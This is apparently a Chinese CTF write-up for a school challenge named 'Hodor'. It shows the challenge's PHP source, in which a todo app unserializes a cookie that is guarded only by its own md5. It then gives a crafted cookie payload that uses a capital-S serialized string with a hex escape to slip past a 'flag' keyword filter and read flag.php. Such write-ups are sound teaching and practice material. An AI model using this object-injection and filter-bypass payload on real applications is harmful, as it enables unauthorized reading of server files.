校赛Hodor

校赛Hodor

打开链接,如图所示

在这里插入图片描述
查看源码
在这里插入图片描述
get方式传入source,得到源码

<?php

Class Source {
    public function __toString() {
        return highlight_file('license.txt', true).highlight_file($this->source, true);
    }
}

function easy_check($str) {
    //echo $str;
    if (preg_match("/flag/i", $str, $matches)) {
        return false;
    }
    return true;
}

if(isset($_GET['source'])){
    $s = new Source();
    $s->source = __FILE__;

    echo $s;
    exit;
}

$todos = [];

if(isset($_COOKIE['todos'])){
    if(!easy_check($_COOKIE['todos'])) {
        echo "Hacker!\n";
    } else {
        $c = $_COOKIE['todos'];
        $h = substr($c, 0, 32);
        $m = substr($c, 32);
        if(md5($m) === $h){
            $todos = unserialize($m);
        }
    }
}

if(isset($_POST['text'])){
    $todo = $_POST['text'];

    $todos[] = $todo;
    $m = serialize($todos);
    $h = md5($m);

    setcookie('todos', $h.$m);
    header('Location: '.$_SERVER['REQUEST_URI']);
    exit;
}
// flag is in flag.php
?>

构造payload

cookie:todos=df80635527eb9189c1197254ad3c46bca%3A1%3A%7Bi%3A0%3BO%3A6%3A%22Source%22%3A1%3A%7Bs%3A6%3A%22source%22%3BS%3A8%3A%22%5C66lag.php%22%3B%7D%7D
str='a:1:{i:0;O:6:"Source":1:{s:6:"source";S:8:"\66lag.php";}}';//S 大写,为了识别\66

最后得到flag
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值